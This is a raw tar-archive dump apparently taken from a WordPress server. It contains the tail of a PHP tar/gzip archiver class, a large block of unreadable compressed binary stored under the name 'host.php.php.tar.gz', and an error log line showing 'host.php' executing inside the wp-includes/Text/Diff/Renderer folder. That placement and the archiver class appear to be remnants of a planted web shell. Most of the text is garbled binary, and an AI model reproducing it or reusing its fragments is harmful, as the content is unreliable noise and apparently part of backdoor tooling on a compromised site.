					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                host.php.php.tar.gz                                                                                 0000644                 00000061203 15212004204 0010214 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             k#v%	K(.hޏA4f P
ϽX?E1HYvd)Hb\%GQ@̽W鮪<yɓ'Of<9f9Fl[eccyƑ%%Hdd:ӌȈXd|<+xO(Cax>7|><|	䟥$S"(?GY	/}_?	:/8Fkx/>}S''O|'3OS(O^;L?ݟ?Cx_8|o_{|;wl߿>_,%=GEMP PO/;秾%~;/?J=-{A.xk?6?[o,#P__Y7}|o>y7_֯5og_-כ|_{O?G?ϼ_ͽ祫~w[3o}?˦9 yW?_?e~?ߌ}x{=~MyW|ǅ~<ߎٟ<7嫿:}7_'SPW_yob?ÿn?Ϗ^?<	~@?#~6+
47{~ٯ^x_|v$I/?wρ3_ou:?/_3/rN%)+~$agUn9byL͘+DR"K4")њs+jz
#Dv.E$&[br ԒV"KVf Il!$kjK |}-MREEAf2"1!ͩKRqkyiĔa%R1@bxb=f9& DS F 4AdvE*Wi'F$4YfD!A>.
P5ۂ͈bXx ֈDP21$jzEݾKy,[$5 y&DD"E$} `KVE6*NN/3h20D -(Jxyύ"t#4xCHP^S"sa@,$gehR 7hv_pjʖq&e-"HqDM";`x	G
?Ic,>o( _Ebۇ WPsJH tKp@ZnXskѪ91Tn:RbK %:fjrxٽ@*f9)0|'s C</]Hz&,"Sq7V1^'zH 0W!@5 hFXNB=xLМ](b ̷Oj,thT; s`/.b-^3>"^ CS!h!'H Q8A)x]DGUJEv4	y|Aab6hԉ-VQ<е^wADUd攈Bzv1D`6sspj Fp~qqm_^{N-(cws;\q	~5ԁ) x\ޞӵV|o/ɦsqA\vU؛7fBA[>pҁ92S(\qa˜Q>_Nns:}yzqJՐ$,y;0 $1
~H<7%'C. 
@/QQ

qïٽc@ BxրDpRp5Σ-Hq1=ށ,[A3!<%(K:qK!@ZpJ$ $fāT;ٕ 2P˳qHv>ƀr Z֑l@f!;3<T$`H}:LT	+-"S 
!mNI0i>%1#5`xl-t(b`$W Ib˲[$@,U5T
k*ę
Ԟ8,@h[!Vd)JIAcbX	TdfBeɈā LYJ4{.+ZJ#f%g=_;hj+SewH r@҉XڊS48Z$D_ր'/Ԗht#lVdڼ/V<4ʥ`E:V@ar!f=Rl	"6\	`TPsPF5A6?x <Bɉ@:uM;!ڂ@;:&0uEsuM&_:as2%	g%?@zLf62ԈZEFPAREF^<a
Q_TW(,䍀ㆄ`cڊP?#?4PF@D4l~Jp.0 ZtTT[Xtт@1p0X4X0\S@K2	mKPqn#ȗKLF + s843=K4fW:4?dl(!xcf@:W2Nx6IsAb#fI6n>VLqS܌i;xOc#:	a-9J4<*
P%h?%93 Óa0`BR-)322gBFCٽ-cH:R	i&svΘ͍4?5o]*X@V<T
;f$Ɠ(EX9݃D0)͟#JqBq`2sµɊr~TDjxJmkӁJ<6kWB|6*PX ekE'(p-+Jl,Q)'.h8'ԗ؍'! 6dʢ`Ҧ@ d {
"X^4LKװ1FP2-VCPɍ͹CVCDɭR0b}@s5\ضjȁ-Mq&X_@CΦY Qq3C! (t	\ݦP	UtkSwlY-_OD
\2ZzB)LD+ɒɘhF<?M
fޗ)V7RkD;usXbxM 3 |~dᒛwC(Cal.TT!6!# n8h?ac.#]D(\'Cn)/Z3\e0x"c.W+aWa8Aat4R^쏊JU\=D ʂ*xҕ0.8Ï8EV
PN\H*:UQr	fbC%#rX˘3X( 6?_8<G).߅9ߗׅQ$`tO8TOƾWDV&...ԒfW"//,38\4>sD:Kn,LcbQ=7#J/b1ƒbp\d#hEBhU:B8c:83^yRLEMPWi60"_!ҩ7 Ff3G2(	)p20yv8 0_c.58"Vڿ3s)޼0&8U{u"ƣ*hk\pX:hD4 B mpָR=	ɺq2
xAe_EEx\0I(&kc{n.K1T
P@:747=Pă12«+_F5Qޙ);TėdIeD4fgE#L1CC)1,uu+0b¿_RXdW[bݎ
3 
bn)8	|ϸȗ$u㰫&p7+Lb8XXCi[)؏^xk%FD niCs:v qJr;n0KqX`.1HI|JϟDJs1Xci|SR2QT0	㎝`	C7,Wza(t+_Lαة4ArzR/#mӌ?<	L=)1Ҋ^\>	}})IP| <ʝԊ~9}TXަ/I<$D;XV5$_̓J0~p;l't<Bz˶(
r0Sv($1P{ݎYNcAY3HepâH*08)BQijkh*"oFa8'Zܴw991ۂ,칞ڸEXSmP4m&-Vg%f?o3x+ʌke2@](Ϙoi1x0M1%_ÈCڡ:@ RF\z",1]}Z3ψY%2Pm;
fC-^50pyɯ@uAkryPq{`!ƘK*'nn"47
Q!ZVC(}j0]e{rЅ659NQC0KTUxr3X0z5'S
E^`cE0/@Ft;R3R!@q"gӹB)O-ۦ @ݜ}gf_ٲşzeڈVF nҬ64Уʐ#UO&WJ4'Q>1~9 %7*{!EnzI3D.h6FvGUgiۦJfZ)BB\tAD
X@ _&/NVTΠ|7|Y1hǋtܡ.AM5AR&/̈́L !'iX.3SН\o,u5	z~%	ZS&S5΀TPKKn{E hxYϗ0fNVϰ* 8;Us$A'[8/U43є^.%{	+΍nuxLh1k'FCg{@8	+LcD4v
%2M h2@Pefn
!✿T/C/5Y-*\h6%cppù-Ӗ`ϑ$0SeUHu	C]TV )5fx<jOBj`2 IŬ7v953er )7`)ks90BAwK}Xyi4&)eJTtj
}
G1[yrM:.5#JwU$Gi+3P$LiqOg+jz8TGxW]Z]"_\S >M$ԭK^0Zf3ӜJf@WUMT'=;V:8r uo-؁~9jkņc/pG!zSѽdCg}!>/1@u2]Icaƀަ" 'Rv0uF8dyoTJLp)*@i>lxLx$=C]DV Z.Y%#^ZBSfEԤO3I(g 6)phSc~9ZtwD4BdgԈ""w~
L
} 7m'*	qSn<%k_X6C"K't<^ uzgȡ?Lx~Unz|;9\Buy鹿t⢿ٝ{ZpUp~dX~=%|@R?).kx&7[Ec8ДD&ZV'l$oV",p,,zT'\IX_{Nˮ3.΂nEɰ('rfdػM[y}٭{'Zx	.OAqNq6{	eg=tڂfX&!vc.	;9Z뢓pA_8}h&b%[*O"\o}]MؔrSقJs6 3Jm)IJe3ɢGs2vnbn>"#	2fVЗ*b,r*~.="需J>Om"dwY_227P{0Խ<,unИFʝ9R|oD}gOջn) & nGfL@=.ǋ52Q!r=*l=Rǹ4/ _ֿkMHgaMRA ͲZRi`q[B.l<iI'34uNtu3Ӿ˧9ۡ֬=ͶӊkBWNjݮgӑVKu'yWߔtKbJbҍz֗iY۟- w
9,iEbm<NpyS[msL/bITKΓnkfkFT>CUE,1s&;zZ"ޕFdY?SL9_+\+x>wYY=~LBe_wZDun-'IvZSv[+۪a7D5%Iq欧.Rz+(.'fM+*s[R`6x.wЊynRo^41 Y)v
0xOo^ᇥR
0'RmܨˬZSuߋU7!E+mD9\KVށۜp'	W	BʴB8  ֖ s}Q=a:Hax 't\PNN}ElЊpey.ÇW+VS? 5}RtZ4+ہʠBQP0^ͣm%Wi4Փ1fdZ2fW1+H&C!TEFyNr y))^i7K[D2 C;w<s꣚9CTٚb9C<XAa]w|U uCXa93"&Z<M*"*ȵDkj|PCu`Z	]+23+8ͲQͯ.
ڇ "f{a6|  #_߮0]gssh	^	аrЩ÷nTq.b1ȥQ+ahSDy%z^IQPr%a8}@PUXI>5
 xT7$Ao!.*	޷qt=E!pʀZ'E+MeVOJ$>)=Z9ڽ+:KCp_ែ?'	7Egہ;7(Í+ߡ^(9䱂:9|3볯@C@)0+tĉIi@^䵣N:.MKlу3cQ)OFcfbb8	QA`𔀇CөL͏
dUPnPtCniͱ/eY7X(=/"3VpP[/Jޘ:(8$CǨ~`(NoF$,ڨ47N*1._u:d,M3Jou ,*aL,\b ltPL7Z&C:`ّ0gȑ
z6w Jkþ	Ac!/ffzV)1rWTf]2z<,!}q4Bj
O#KeyjťYi®Nnavl6=Di+etqkVvB0q>ӽ<j% 
rv):]CFRlqq~ƈ#Fw\̅(-ܽBJFǉx[YAsXDP6{b,(EdԨ4	0 Ц 5Ghygdjx}l'R"x(DFNmp)-40bye5{]bJQF<6(48#V[Dߡ{T{F~T=ȇ]ocO.^wR8Be1O'B*:&zPi'
7(ը‛CD=0WT0Tz^iNFd9cRV63y*kHKl%ΘClX܃ysb(DH?*h}i]9LᾐY6n.OT
dV>~\D1<ȓj3wuj.쓩e!Bb(q0V]Ho_?7_9=ww`)|\*zpT?/h+̔(wڳ:ډj.E.HA;L}& 7hwL[Ρg0:صBԪQ:uo(0(*@G[`(>C!5^"YXA՚Q&Kwh}hrP##ܞDc˚(tb} ,DO@/h6*\>@ҏLq%nNřHYԣ2i Ij^3:}{L=Q}0jPq'V	JV![O`.%ǕDX6"x6,vsVԮbS7mPpRU9<V,hZBO_7g\/v[ͺZF|ƪ* :xam9C`ܡd<3#t>Cjr67'+C|q QQ)=p 5qbj*Yk-=	MfE;֐+hFP@ٔTVq B*˳q [I/Т0ʬ
&cfmgBDqJ	BĈYbwItsxϵSnSz\=/Ȳ0s2ap8 <>0JstHG!g04vq,#bm	T-WT)myhL@=*F9޴D_ᚔZh\V8pwN%t fxUYUQq~}ЊtV7{@d}?}b!E$[b
`>ϦM09M1w0t-S#3b)VfRA7{0{gMy2x5?
KS xΤ	zY hpGy39c+7ԳN8>=E`x+8o__\Xë1P)~@q즰,(?xbFue_a9:܎HhOuNbjAY
C2V8I00@:euQ7hv%C(B9:<䍖;ePƪ隥qf`K}YdR<fb^ݜN_kEcwrR3^<wed:f@<p=ߩ+<@]Hb&J
E%HDe
zģ3lX<T(
F<S8[#Y3?9Z̅)|{bF33|?oox2H6b%xO|	휃_omyS%/RmdPmX/&zpW
2;Jԛ
&^Ijڣs#Y<P&v,RWȸR^&ddjȊ|9Fhuc+U((GRX, 	\7Xe(|JC^_C|pw	^fv j(	ZZhNY;ykGQB)?5E|!cxR5oFe,QUNsmכx<7vogFsiym[FwMkaLi5HV:aGlRRRyyP*yVÁ儊R_&Ż꒑"AnƓm*xi3i&D S[m.O]/ّR"^;(`ʥb27{x)͑krQsx7is\Lx:L37Y׌ l'L\goIy˅DKq*Y6{1]-3hOgH-/x*qb/*rJ{ͷx=@<聼7De2XȲQֻ~2$]qv]aSuk4\^YH(YN3hDVL)Pp,|)."H޲e8<QxrYL:wY!N	\.܍#z{bZ+Bdy"tg<-=s7ǅM xJλ@bͧwL.Q,`v-B4GE\Ӟm1
xӍA7	
mAӀӿkť-EjLwU_c;urx`5ǫp?k(˦tFHŌnAOMgA-֦EYvd.	R/$1ȒD6'ƻD%fTR3Y'Y#ݎ
6Yct8].%TjR:EpP&zb53,ˍ&nֽ|@&Sl^Orki	V>`rێV*=pRvjIYFZ/W̄HG]bv>Q'D`]5Oŗ#)+O4+ƷfX2{^]<iO~ԭ̸IhK<iZ-q&s+
uNw/&i70ZmY->mf#-f=`#Ji$4SrZ@ݔg`::k'm|@5-g^hIEcsJY6Ѧ*TK	BO\a2BzW&|y6B0kfg;JEسhpĝGZN.z<wR/$fl|m86ݞ' 6ںˉ
KU=Z<
y5vv+څbHnGwv9QqkɢƷ^̽oy%3F{k<i3(֞hjɎ69Yԓ#)ߑʋ@;jޥo\weηXP`mW.̮zH.oOss
qsU`li^{#.Ǳb jR0 z3K/ՂGt +oE^"ZPV_i:]Ν./A'!sIoCsKeFYi&d"f{߭bd؏3A9^\'{6K:խN|R|l@MnGP&3/F?nKe|<ϜL\e_b2$/X2۾ujKY,m!ءv{NKJ)24\e	FfEГ*w݄\3o1ˑr5WrtdӓKuB;cso3y"|m^&Uy\-@|xh>c@u旷@XŹj{sdBU+'B䲼pG~;c:SkD=Hd.eWC1<D/|I1if-Ŋ7gtΒ3["ir$f9g)y2:%"%Q+V6Y<;+՝&&dVo'&<Z%FFV5t2.'Og(:qV5Qf|7o{i\KHPz\E,F.{_Yf,eyV2	+&p&yƻf\ejdj^ʼoǕms]USI|27,Y/ټ/]Jd:Z4m6RN7
Wt$37TkGv&3Y϶\DKJcKljaU|=zmhÍE*ՆTR^(ڢ/3
9iFsmE|ңD]Ãn+/knœ@w{Cw*TT
Ai0TlZBI,֑e~+fh%r(zf+V(&ZFvrMH.|]rf8n3A{	܄VtςZf'BL?~jN-8'u>zIю\{ӻ~18,(cmH$OmLz|aH˝ܝ3rxUz~'Jv۽|WPvH]Nެ8!7̷uڮ7&Ѯ*I+z)G㧡OTSha+g:'gUJweY;=tH=*SႍUT[lN}.7:dA6^8V>w:C\sޑ,DԪrW-jasn|]"lF0_\R0dD)GtF}+wJOPf0#};ii7h:%h.U/OV\t1H47[;YGSqlYil_[Nw[KJef]Wv(:xzn`m9lqȹJZWB4Rm:|."IP0<̚S2';2[i	ݩSddtDnqo  |`&H	814W׆d|-9&/TqFHIZ=F%g5OlZ=ćUͭm:H<0~!ܥ=R=Hq-f^WzͨmpFT`HWn+?yˋ(
xBrU?$qVe9l߅lk+vw)m'EqP̀wk)/2`yYf\RmvW릯Nr˶Gb#g/ܲi:NU{oU[|vi Yqem&\w5`fY9ag؁\u/fh)$\-=B6:aihONwYkjNfMs+Z|unKNmFTWv͢_S|nSN,|Cl{#>ׇ~Vfm8 ;gE)"rLB-E!e'kgDd)<<W*B]KgVx㌼lpHEU^n"Y.v?ͭH93~ }nD4emL^!,|Zȷk!߮|Zȷk!߮|Zȷk!߮|ZOn-9
ޥ0 e"2UBFC6k	6;ai㿣R<?Ӥ0T#ojz7ͰnmKTLo2vS$|J࢛h˶@SrF~~%WasfX0`oZF!Cۡfۄe@w4&w7L$u%iwPo*Ap9bQ(Q}W>ݒQy*{4XiIJ[`nWQߺڗΟbިX/Rܕef]Y)DxIҸz\05y<2,ښ1ě:+1t!ԖB|~ˍLDr64lb1'jsZo1gN3SfȺVӮ&MU2_
`8coC|a=B)߭f|`%5ֿ`"
x=0KYWYԺqhoN{rfm[Qz#a4pvķɷ`[xZ܌R;gnZCy*fENnv祥<JgP0asRvFaO)e*WG7}ݲ3g2PN膖9ֻ7VI>~Fwb`tB}1/Tk+SC]iZN|(Z[tvnr^OĶQޭM-OֽPr&ԛ/ux>q0=$VX`'"0:$]<JUCco)P=0vz4b'hm2i8K	*2LY-,XҹN6]>mTF9̝\kB6=e]HN;vgf\SrAy$0EGVm(mk8ŠH5/i?	wl"#ўo09 ]Y
v`[G.Pb$B\"	My(^~o˴b3NgAq#ONnd1/nC`Y,\<pݤ0\-CpV//:	&Gg:zyh_f۫%l5}0on8zpﶞδ
dV՚+6LZTxWXYOwQ{vsQLˉ1ԇ޲9\74]$6]AlR r)%E93	ҌZ2K
[~Kp^>;	\" _6nf(Z>]i"frtUJB2/EsrT?i7>.wn^Tv%|^ϷKpǹ-%߻WJN&%j$P+xaGMns0D^7ZJLva14K@d?Q9}ycRC9a0Vb|
dB2%r%_qP~ĩR*^g<NW{ΞP!PYv
/?KS|K|U]G?qxdA1T>x_t06't'.??|*JEB÷xÛIPL8izx\br1d'lB_d'A5FzH	^(]ݴ3F-\*G͍QMx?We*ѐaFSC'L"4,B7OWb#)R~05__>cYc<?Kk\2XFSU#J0 !VX\>˳Fex@I6kI*%aQ+DiԈK zIt@h<H2gSNC90ǨCm|(ujB6xRJ\>G# kn@'?X7#4>ۜPj1E 
qaТs>V5~?A)5V6%$`O	ʓMDW>REі)jMiQZ<(^6(74[/l@F@_݀A}fIX"=]XB&}$A12RHl3p(@~6"¸}8)iZjJkuE\)Vd/Z4pCXV`+hx2}i~_8Ưvy)q?0Dd#@i@nrEM/ B:(%#!Gp-*h@m	!Z\8plV'u xl$&(!lM(4d}( 2C%0|R
Cء	\Xl5\%7z!k*u m8%
# G<خ=@z~ݯ֬6Wê=hCww1`8m~ޕE p<Sa53$S{U]c	GJ~#EFl}usV3>9.^z>@T7,Ne|'$HH9u{*xh7]Wu9d6`8m)XCQ]E-3mS@{=h@@r6S+ZT<F6-Hӵ8P/gm>T.b#~0"
x1áX`ϟ;8@?SZi )wP\0V^0esjL%NaPTZϩR8[PVM1r_wҢ `߻L*15OիYhh4tTh+aC1#Vdn%0j4FV=05 `Sȸ~CpQ});[-Pi)VOE)HIYvS.],)~R<1X,-%Lo-X{Db>keжq#R)zGnƶ 5NgMQ_iQcPmG<﫾SCMm|%OIs`@"~mDzA
\48_(0/OِbsHëت{}<ճ^|Wye7ķl
Cubq_bV'/G#Z(`kDt	0kyųpt.Xץ\
,%=0J|&-Ki	e|!51{zL@6P]B%\W`q~&O,a$0qn5?G}٭y)+tzns/vŌyۤA?WΠl˃GV}a-`Ӕy6ҏt'娦PY[U9gy!NU5b{>p`	NT^#:⫷cq&	Kag0(dM8)Y
"yϱ3(w'1繱}˛(RhQ894JƂ.k3&kBKv%p#
x_P1[tfsg^9ׯp)
.4 WD%/"W֫SEcXk`@]kk-1Rzڤx,}b:a@
0̠d@DSu,v2 ]B<gx.6O$!
=fss*s!5U[`GmGlr,Mo>uUvmd7tNEhE*4	'{P)|LU2_2>5V 0c
xـi7(}27E#(WoXYvR"sweت_>^m]Rr >dcb/P_鏃בI1]ހDj 7s4VG;s\ۤtS:45# 	ǅc4rφ=ȧryOPTy}ǐ*S2kw/KV17	#LB0u@tqCHdb22`f<xQV/KiJ؍SC{{xk3nȠW@R#l7^.8&_+&Ǵghَ2lzN4_,4~81{DRM`ʎT\S'QVM`sfhbv\ͨ@sa_qy,.ڭdf /{W0K_=UKKBt( 8I&=(DP+ .ŧъ1Z Jj7M#O%JBjQ/2K9ƧO[F#_)v$΁56bdh#Q]{Հmw {UwsʱA8fͣRs 9'H>2ܦjVAk"dFh'׎hD`FyS%0n-"sOCuAnF	+2ۚE0P+pi;07p_[F
XoJUJJ	+rzooG-tv6}zpD*_O'z_ XgP.R.! ކ*AO6[?U겇
m,@{sd=f@8O@HKЌ]v6.˛+$]Eq
w5R̀1jxU5dU`ň5ADzr3CuYPywԮj=_+B; \1̚=d 'w0{?Q0lOr[vSNqN:y%c\nl(eΑv+SA0赽!b7SpT<}}{p)VElLM2ѵ344z8en.0Zh9's5
a G`bLg0ϊtr!~L(lbhl<JCV{eqMtfhDWK|W>Y+T꣖FX"H;`F-v@i(djhߞ,j
ln1SWX"݈ `,;D
qj~HC+<seƇGιlUуzsJ1
;MhGne3x 5;VRí8-{elF̚⨭Mmkl"oMmoж43Ð՟@A[,0$0nNM#0},7<9?sX4PUvK*_Nr8Pݏ@_I{Kh";HvW/_x9|>%(N<O*ˬ1 zv,Ԫ봄|cXQb=ŹXo|ACaZgdv欈ߗzĦԏS0`%c6- %jJ7bT_80]j'pHV>3_UkB<Q's}
lZp:E70<}6׊>1_VM`^mQCp`T-rz8£Ϗ
T_\VӥjHlB7YL=fZV{`HΣ#Lư1%+!U+c8Nvce@*9GB(XjKYOGU@P1{CU<xxP詠LBSOYؙ+^X\?xQ}Q$( GeMQfUgOATBFDzi,DeFPK
_и: Д(R[N͟[w*~tz_&ý
d٧^Ͳ1	hS2Ѝ2ڐ<K{GP\@19\iamTg˗Эp z9ZrUc5@{f|O^9wZP(!
pʹMpZ;=KFϯ:14#C-0TЃ9GZ\8DG@v&9D(CI@B#BRɠ7fO(:Cz 	o깞[aIHKaM2\.+xJ߫;7x|/7x85;r_ k:1ƨ=9A ħkšEcOR{=F8~_
]a8+%@ }SD*F8KsfyZXr.5B놢A]o2rP
x\ލ",6A8.@q}Jb[Frɂ _bRFd	BmOŮEF^qjiC^'0Q*zR;fCpZcq]Į{b;NFzfxF>~70k+ChL5	i3[&Y7!7z}^a*0͘&ʪIF{ȧ{n<q	?Ƭ7v9#DJX`#rvUMA-CX	F;4ڣO部W}{(2(^J-P17zRJ0}cu4fOK]WҩK}{a[}d]skfLDl]2W8M!s]]Yb*8Ԙ:J3(@}LdS@qToK(Q(;zB
	\a }քt,s$Oo<^F 48KMק7nm:6Po0+?Pb$|14~7yH ;)hfp7f7qJT"j?'hۓk֡ۖ1F'xE>\XT?Q. 75LpSc02\ud~ :z@XլWذ.V+u_w_b'(̈:KcWZaID	ϐ" M08S?+s<5G)0֍rˣ}j3`^eXU01 |WАn΂w$ldX~R(Tm\k3>zb~AьkGtxgJTIF8@5Mf6t//b:U"ZD_FI]|$ lTJPnxa^ nipYV'` S=&DAл0HTF`jS4utqY#N !']Y92"b7﹁.";1SHB,O^"Q QV8`OS	0V̂NU3(IZ%d(=6ei=D;U)[WTwE<Jl"=ƃtM꛸QګL>g!ϕrbva0C#"PB<<\-Яg=,:!TU㨪Ds׆U]B]1<j|ZFuU!+Xeb;p"h7t!yIw\Bqֻ;'Ҳl#>4:a 2>zwٚ1[{&P5/!aV_|e~㨧bny80;J+E5`Ec6Q+IFzVH֨
?TņVuv#E=a6PW=*}A\+/ABE)	`bb@I>1h[%M1t6ָI~,Iy9 !ea0]p8&/cSF520fL`rt51@ط\լJAGxW
vT~{y}l<64]o-ޔ'ҬzVXQsQ!@&(:2)Bʛ7@> ǔa0xӰ	ݜ@WyGsSk+ae_K1jI00ВP#R k'
;hyr켑&3..@u[wlx_/ź[O21%_3OS(}\?Nȴ|c@-V!x5I`H2BTN@[AxgCtux'¦{`j5np	COZ#)u.N=X%Q9l`:1Ncͣ9tK
qCNvI͂>Y]KT @wh.]W@K]h9ܤ⭃	ɠM]i(CcYb0jqvn8q3g5`L9䨑\@j.	q6ufH	r ȱ;iXX&Ke5# ~>4%ME%,PY(#>CS*ZJF$]ZUfcBDHV`#)} h':٥O aNk[]P߾Bvb'Pv%E<aTe 1tckӚM1&%0awBUY*Nb9|p5j,&hsm;\S%?9cѪ	i╭_AA{n?z
m`VIԣWaU''F[rAh'8\kVVM%2㲫cϽRO1*OO&&^}Ķ)=b1i8P]o/zSm뽆կҰZM\N9a1тGaHZxTZ <^CKZv3bP]ӂ		u4x7#&EUMVaCIֹjY&b0&w_)/eZ+BV*g\RֲKx`MuT3 ^SA-M-=v_x;C6O/b02:+lB.C
Ì+,):ڬؔqaH}r|o j|DZ낦)ޅbFˈAF"U/ysxTfTd&Rb{O#QXѣBT
'"!:JR5b$SI[RRͬfDGDij;D*jH0*9qd@C`$OB@t`20IB`
ZCm6*aF']fP;=l03B9{	1ȅ%"ՠUq~$fEqpfdь׏k-`;'Ay}qrq:Q>E2TP7=v'x%\7D4Iɂey4d`Cud@r 	/Eϼ^	zVmwKisXXUtMq$II,9
fa4`7zsЅ9u~Lq8͏7S#SJYQ'Xoа㣥=]ʈi z:¯O,1(lPP_$ZtrpQUL2Ku(6aEUk4A6C?Wp 4n?eYjVVlvVՆ7wA(_@vOn;ڹSd[L	4+
L"cV&1߰kAni^!`sF\<.~x4 C'f*"$:|4I5ρ@U%ʪJӔc1]<g6~.~th<0q/ b|GRG|BV'^&^B4|$V:CDu~qb~6F=Rwj~?Ɯv~HGn($>pH5ba$h!	sNl՞0SqhOArkgu@@T游d}XpI@Ռ{`+41L9>@K]`%Q[6T1X_ë®wF6o15t=tBPSF}BǷʷ?|_(h D                                                                                                                                                                                                                                                                                                                                                                                              error_log                                                                                           0000644                 00000235413 15212004204 0006457 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [01-Jun-2026 03:23:38 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[01-Jun-2026 03:23:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
